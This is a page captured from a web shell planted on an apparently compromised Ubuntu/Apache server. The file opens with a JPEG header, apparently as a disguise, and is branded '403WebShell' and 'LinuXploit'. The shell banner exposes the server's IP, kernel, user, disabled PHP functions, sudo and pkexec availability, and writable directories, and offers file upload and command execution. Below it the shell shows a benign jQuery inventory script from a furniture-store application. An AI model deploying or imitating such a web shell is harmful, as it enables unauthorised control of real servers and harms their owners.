����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 13.59.225.66
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/mueblesOLDMAYO/application/master/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/mueblesOLDMAYO/application/master/j_item.js
$(document).ready( function () 
{
	
	 $("#txtname").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtcodebar");
		}
      });
	
	 $("#txtcodebar").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtstock");
		}
      });
	  
	   $("#txtstock").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtunit");
		}
      });
	  
	   $("#txtunit").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtprice");
		}
      });
	  
	   $("#txtprice").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtnote");
		}
      });
	  
	   $("#txtnote").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#btnsaveitem");
		}
      });
	  
	
	
    
  

	
	var value = {
		method : "getdata"
	};
	$('#table_search').DataTable({
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": true,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "urutan" },
		{ "data": "barcode" },
		{ "data": "item_name" },
		{ "data": "stock" },
		{ "data": "price" },
		{ "data": "note" },
		{ "data": "button" },
		]
	});
	$("#table_search_filter").addClass("pull-right");
	
	
	
	
	
});

$(document).on( "click","#btnadd", function() {
	$(".contentharga").remove();
	$("#modalmasteritem").modal('show');
	$("#notepassword").html("Alta de Nuevo Producto");
	newitem();
});


$(document).on( "click","#in_button", function() {
	$("#Entradadmodal").modal('show');
});

function newitem()
{
	$("#txtiditem").val("*New");
	$("#txtcodebar").val("");
	$("#txtname").val("");
	$("#txtstock").val(0);
	$("#txtprice").val(0);
	$("#txtnote").val("");
	$("#inputcrud").val("N");
	
	

	$("#txtunit").change();
	set_focus("#txtname");
}


$(document).on( "click",".btnedit", function() {
	
	
	var id_item = $(this).attr("id_item");
	var value = {
		id_item: id_item,
		method : "get_detail_item"
	};
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var hasil = jQuery.parseJSON(data);
			data = hasil.data;
			$("#inputcrud").val("E");
			
			//se se deshabilita input barcode
			$("#txtcodebar").val(data.barcode);
			
			$("#txtiditem").val(data.id_item);
			$("#txtname").val($.trim(data.item_name));
			$("#txtunit").val($.trim(data.unit));
			$("#txtstock").val(data.stock);
			$("#txtprice").val(addCommas(data.price));
			$("#txtnote").val($.trim(data.note));
			
			$("#modalmasteritem").modal('show');
			$("#notepassword").html("Editar Producto");
			set_focus("#txtname");
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
});

$(document).on( "click","#btnsaveitem", function() {
	var id_item = $("#txtiditem").val();
	var barcode = $("#txtcodebar").val();
	var item_name = $("#txtname").val();
	var unit = $("#txtunit").val();
	var stock = cleanString($("#txtstock").val());
	var price = cleanString($("#txtprice").val());
	var note = $("#txtnote").val();
	var crud=$("#inputcrud").val();
	if(crud == 'E'){
		if(id_item == '' || id_item== null ){
			$.notify({
				message: "registro invalido"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtiditem").focus();
			return;
		}	
	}
	
	
	if(item_name == '' || item_name== null ){
		$.notify({
			message: "por favor ingrese nombre"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtname").focus();
		return;
	}

	var value = {
		id_item: id_item,
		barcode: barcode,
		item_name: item_name,
		unit:unit,
		stock:stock,
		price:price,
		note:note,
		crud:crud,
		method : "save_item"
	};
	$(this).prop('disabled', true);
	proccess_waiting("#infoproses");
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			$("#btnsaveitem").prop('disabled', false);
			$("#infoproses").html("");
			var data = jQuery.parseJSON(data);
			if(data.ceksat == 0){
				$.notify(data.error);
			}else{
				if(data.crud == 'N'){
					if(data.result == 1){
						$.notify('Registro Guardado!');
						var table = $('#table_search').DataTable(); 
						table.ajax.reload( null, false );
						newitem();				
					}else{
						$.notify({
							message: "Error save item, error :"+data.error
						},{
							type: 'danger',
							delay: 5000,
						});
						set_focus("#txtiditem");
					}
				}else if(data.crud == 'E'){
					if(data.result == 1){
						$.notify('Registro Actualizado');
						var table = $('#table_search').DataTable(); 
						table.ajax.reload( null, false );
						$("#modalmasteritem").modal("hide");
					}else{
						$.notify({
							message: "Error al actualizar item, error :"+data.error
						},{
							type: 'danger',
							delay: 5000,
						});					
						set_focus("#txtiditem");
					}
				}else{
					$.notify({
						message: "Registro Invalido!"
					},{
						type: 'danger',
						delay: 5000,
					});	
				}
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$("#btnsaveitem").prop('disabled', false);
		}
	});
	
});

$(document).on( "click","#btnEditcategory", function() {
	$("#inputcrud2").val('E');
	var crud=$("#inputcrud2").val();
	$("#btnsavecategory").click();
});

$(document).on( "click","#btnDelcategory", function() {
	$("#inputcrud2").val('D');
	var crud=$("#inputcrud2").val();

	$("#btnsavecategory").click();
});	

$(document).on( "click","#btnNewcategory", function() {
	$("#inputcrud2").val('N');
});		


$(document).ready(function(){
   $("#selector-seller").load('../model/select_category.php');
});


$(document).on("blur","#selector-seller",function (){
	var valor =  document.getElementById('selector-seller').value ;
	document.getElementById('id_seller').innerHTML = valor;
	document.getElementById('id_seller_ok').value = valor;
	
	var combo = document.getElementById("selector-seller");
	var selected = combo.options[combo.selectedIndex].text;
	
	$.notify({
		message: "Para Editar " + selected + " ahora escriba el nuevo nombre en el renglon, Para eliminarlo solo presione Eliminar "
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtname2").focus();
	
});

$(document).on( "click","#btnsavecategory", function() {

	var item_name = $("#txtname2").val();
	
	var crud=$("#inputcrud2").val();
	
	var cat = $("#id_seller_ok").val();
	
	if(crud == 'E'){
		if(cat == '' || cat == null ){
				$.notify({
					message: "Para Editar Selecciona primero que categoria se editara"
				},{
					type: 'warning',
					delay: 8000,
				});		
				$("#selector-seller").focus();
				return;
			}
	}
	if(crud == 'D'){
		$.notify({
				message: "Se eliminara"
			},{
				type: 'danger',
				delay: 2000,
			});	
	}else{
		if(item_name == '' || item_name == null ){
			$.notify({
				message: "por favor ingrese nombre"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtname").focus();
			return;
		}
	}	
	var value = {
		item_name: item_name,
		cat: cat,
		crud:crud,
		method : "save_category"
	};
	$(this).prop('disabled', true);
	proccess_waiting("#infoproses2");
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			$("#btnsavecategory").prop('disabled', false);
			$("#infoproses2").html("");
			var data = jQuery.parseJSON(data);
			if(data.ceksat == 0){
				$.notify(data.error);
			}else{
				if(data.crud == 'N'){
					if(data.result == false){
						$.notify('Registro Guardado!');
						var table = $('#table_item').DataTable(); 
						table.ajax.reload( null, false );
										
					}else{
						$.notify({
							message: "Error al Guardar Categoria # :" + data.result
						},{
							type: 'danger',
							delay: 5000,
						});
						set_focus("#txtiditem");
					}
				}else{
					
					if(crud == 'E'){
						if(data.result == true){
							$.notify('Registro Actualizado!');
						}else{
							$.notify({
								message: "Error al Actualizar Categoria # :" + data.result
							},{
								type: 'danger',
								delay: 5000,
							});
							set_focus("#txtiditem");
						}
					}
					
						
					
					
				}
				
				if(crud == 'D'){
							if(data.result == true){
									$.notify('Registro Eliminado!');
									cat.remove(cat.selectedIndex);
								}else{
									$.notify({
										message: "Error al Actualizar Categoria # :" + data.result
									},{
										type: 'danger',
										delay: 5000,
									});
									set_focus("#txtiditem");
								}
							}
							
				if(crud == ''){
									$.notify({
									message: "Registro Invalido!"
								},{
									type: 'warning',
									delay: 5000,
								});
				}	
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error, # : "+ data.error
					},{
					type: 'eror',
					delay: 8000,
				});	
			$("#btnsavecategory").prop('disabled', false);
		}
	});
	
});

$(document).on( "click",".btndelete", function() {
	var id_item = $(this).attr("id_item");
	var barcode = $(this).attr("barcode");
	
	$("#passwordmodal").modal("show");
	$("#txthidetrxid").val($(this).attr("id_item"));
	$("#txthiddentrans").val(barcode);
	$("#notepassword").html("Por Favor Ingrese contraseña para continuar!");
	set_focus("#txtpass");
	

});

$(document).on("click",'#btncheckpass',function(){

	var pass=$("#txtpass").val();
	var value = {
		pass : pass,
		method : "check_password"
	};
	$.ajax(
	{
		url : "../model/check_password.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.auth == true)
			{
				$("#passwordmodal").modal("hide");
				$("#txtpass").val("");
				var id_item =   $("#txthidetrxid").val();
				var barcode = $("#txthiddentrans").val();
				
					swal({   
					title: "Borrar Producto",   
					text: "Eliminar artículo maestro con Codigo : " + barcode + " ?", 
					type: "warning",   
					showCancelButton: true,   
					confirmButtonColor: "#DD6B55",   
					confirmButtonText: "Borrar",   
					closeOnConfirm: true }, 
					function(){   
						var value = {
							id_item: id_item,
							method : "delete_item"
						};
						$.ajax(
						{
							url : "c_item.php",
							type: "POST",
							data : value,
							success: function(data, textStatus, jqXHR)
							{
								var data = jQuery.parseJSON(data);
								if(data.result ==1){
									$.notify('Registro Borrado');
									var table = $('#table_item').DataTable(); 
									table.ajax.reload( null, false );
									init_data();
								}else{
									$.notify({
										message: "Error Inesperado!, Valor Error : "+ data.error
									},{
										type: 'warning',
										delay: 8000,
									});	
								}
							},
							error: function(jqXHR, textStatus, errorThrown)
							{
								
								$.notify({
										message: "Error al borrar Registro, # : "+ data.error
									},{
										type: 'eror',
										delay: 8000,
									});	
								
							}
						});
					});
				
			}else{
				$.notify({
					message: "La contraseña no coincide/Usuario No Autorizado, #: " + data.text1 
				},{
					type: 'danger',
					delay: 5000,
				});
				set_focus("#txtpass");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			loading_stop();
		}
	});


});


function init_data(){

	var value = {
		method : "getdata"
	};
	$('#table_item').DataTable({
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": true,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "urutan" },
		{ "data": "id_item" },
		{ "data": "item_name" },
		{ "data": "price" },
		{ "data": "stock" },
		{ "data": "note" },
		{ "data": "button" },
		]
	});
	$("#table_item_filter").addClass("pull-right");
	
}
//enter como tab
function enter2tab(e) {
       if (e.keyCode == 13) {
           cb = parseInt($(this).attr('tabindex'));
    
           if ($(':input[tabindex=\'' + (cb + 1) + '\']') != null) {
               $(':input[tabindex=\'' + (cb + 1) + '\']').focus();
               $(':input[tabindex=\'' + (cb + 1) + '\']').select();
               e.preventDefault();
    
               return false;
           }
       }
   }



Youez - 2016 - github.com/yon3zu
LinuXploit